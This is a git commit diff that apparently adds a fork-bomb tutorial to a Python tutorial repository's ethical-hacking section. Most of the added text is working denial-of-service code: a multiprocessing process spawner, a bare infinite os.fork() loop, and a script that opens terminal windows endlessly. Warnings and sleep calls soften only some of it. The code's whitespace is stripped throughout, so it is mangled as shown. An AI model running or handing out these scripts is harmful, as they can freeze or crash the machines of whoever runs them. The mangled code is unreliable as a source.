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Commit9e60578

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add fork bomb tutorial
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‎README.md

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@@ -58,6 +58,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
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-[How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher))
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-[How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator))
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-[Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner))
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-[How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb))
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-###[Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
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-###[Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

‎ethical-hacking/fork-bomb/README.md

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#[How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python)
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"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb."""
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# Import necessary modules.
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frommultiprocessingimportProcess,cpu_count
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importtime
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# Define a function named counter that takes a number parameter.
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defcounter(number):
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# Run a loop until number reaches 0.
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whilenumber>0:
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number-=1
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# Introduce a sleep of 100 ms to intentionally slow down the loop.
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time.sleep(0.1)# Adjust sleep time as needed to make it slower.
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defspawn_processes(num_processes):
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# Create a list of Process instances, each targeting the counter function.
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processes= [Process(target=counter,args=(1000,))for_inrange(num_processes)]
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# Start each process.
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forprocessinprocesses:
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process.start()
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print(f"Started process{process.pid}.")
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# Wait for each process to finish before moving on.
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forprocessinprocesses:
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process.join()
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print(f"Process{process.pid} has finished.")
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# Define the main function.
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defmain():
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# Get the number of logical processors on the system.
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num_processors=cpu_count()
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# Create a large number of processes (num_processors * 200).
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num_processes=num_processors*200# Adjust the number of processes to spawn as needed.
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print(f"Number of logical processors:{num_processors}")
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print(f"Creating{num_processes} processes.")
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print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
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# Run an infinite loop if you want.
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# while True:
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# spawn_processes(num_processes)
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# For demonstration purposes, run the function once and monitor the task manager.
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spawn_processes(num_processes)
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# Execute the main function.
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if__name__=="__main__":
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main()
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"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork().
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It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system.
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Be careful when running this code."""
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importos
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# import time
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whileTrue:
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os.fork()
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# time.sleep(0.5)
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"""A terminal spawn bomb that infinitely opens a new terminal window on the host system.
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Be careful when running this script, as it overwhelms the system with terminal windows.
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The time.sleep() is introduced to test the script."""
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importos
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importsubprocess
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importtime
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# List of common terminal emulators
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terminal_emulators= [
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"gnome-terminal",# GNOME
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"konsole",# KDE
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"xfce4-terminal",# XFCE
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"lxterminal",# LXDE
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"mate-terminal",# MATE
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"terminator",
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"xterm",
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"urxvt"
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]
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defopen_terminal():
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foremulatorinterminal_emulators:
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try:
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ifsubprocess.call(["which",emulator],stdout=subprocess.DEVNULL)==0:
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os.system(f"{emulator} &")
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returnTrue
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exceptExceptionase:
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continue
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print("No known terminal emulator found!")
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returnFalse
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whileTrue:
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ifos.name=="nt":
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os.system("start cmd")
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else:
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ifnotopen_terminal():
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break# Break the loop if no terminal emulator is found
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# Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
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time.sleep(0.5)# Adjust sleep time as needed to make it slower.

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